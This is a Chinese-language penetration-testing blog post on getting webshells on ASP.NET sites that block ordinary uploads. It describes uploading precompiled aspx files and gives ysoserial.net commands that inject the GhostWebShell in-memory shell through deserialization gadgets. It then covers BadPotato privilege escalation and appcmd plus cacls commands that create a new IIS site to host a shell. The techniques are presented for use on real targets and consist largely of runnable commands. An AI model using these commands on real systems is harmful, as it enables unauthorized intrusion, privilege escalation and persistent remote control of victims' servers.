asp.net无法getshell的一些解决办法

警告
本文最后更新于 2021-06-28,文中内容可能已过时。

实际环境中经常碰到asp.net的站,这些站点多采用asp.net mvc、asp.net core或者是预编译等等,而采用这些方案最恶心的点在于无法拿到webshell来进行下一步渗透。

本文主要讲解在asp.net中拿到shell的几种实际案例。

# 预编译加跨目录文件上传

当碰到任意文件上传时,预编译的站点不会执行我们上传的aspx文件,如下图

image.png

预编译配置文件在PrecompiledApp.config,修改updatable为true就能动态编译aspx文件了。

image.png

但是修改这个值需要重启iis,鸡肋。

另一种方法是直接上传编译好的aspx文件

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler -v \ -p src target -fixednames

image.png

生成的文件除了PrecompiledApp.config全部拖入目标网站

image.png

要求肯定是必须能跨目录,同时文件名可控

# 反序列化

反序列化可以随便执行csharp代码,写文件、执行命令拿回显都行。ysoserial.net有一个GhostWebShell的代码,可以通过ActivitySurrogateSelectorFromFile gadget来注入内存马

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

命令如下

1
2
.\ysoserial.exe -f binaryformatter -g ActivitySurrogateDisableTypeCheck -c 123 // 4.8以上需要先禁用类型检查
.\ysoserial.exe -f binaryformatter -g ActivitySurrogateSelectorFromFile -c "C:\GhostWebShell.cs;System.dll;System.Web.dll"

反序列化的代码

image.png

发送序列化数据

image.png

最后会在 http://localhost:49718/fakepath31337/1.aspx 生成shell

而此时还有一种情况,shell需要进行POST请求,而有的路由不能进行POST,所以有时候就算注册了内存shell,连不上能把你恶心死。

所以有了我最后写的这种方法。

# 基于反序列化的命令执行

最后这种方法建立在可以执行命令的基础上,并且需要提权,我实际环境是基于反序列化的命令执行,先反序列化写了一个badpotato提权到system,然后通过iis的appcmd命令添加一个网站,在另一个网站放我的shell。

AppCmd可以做的一些事情:

  1. 创建和配置站点、应用程序、应用程序池和虚拟目录
  2. 启动和停止站点,并回收应用程序池
  3. 列出正在运行的工作进程,并检查当前正在执行的请求
  4. 搜索、操作、导出和导入 IIS 和 ASP.NET 配置

先看几个简单的命令

image.png

apps是iis中的应用程序,sites是网站,apppool是应用程序池。

一个app可以有多个site,site通过apppool来进行处理运行。

我们可以添加一个网站,并且设置应用程序池为.NET v2.0来使其可以执行aspx脚本程序,最后再写入shell文件即可。命令如下

1
2
3
C:\windows\sytstem32\inetsrv\APPCMD add site /name:test /bindings:"http/*:81:" /physicalPath:"C:\windows\temp\123"
cacls.exe C:\windows\temp\123 /e /t /g everyone:F
C:\windows\sytstem32\inetsrv\APPCMD set app "test/" /applicationPool:".NET v2.0"

image.png

此时在C:\windows\temp\123写shell就行了。

限制比较大:

  1. appcmd要求高权限
  2. 要求能执行命令
  3. 其他的端口可以被访问到

这个东西可能不太实用,但是确实在一些不出网、需要正向代理或者需要webshell的时候非常有效。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。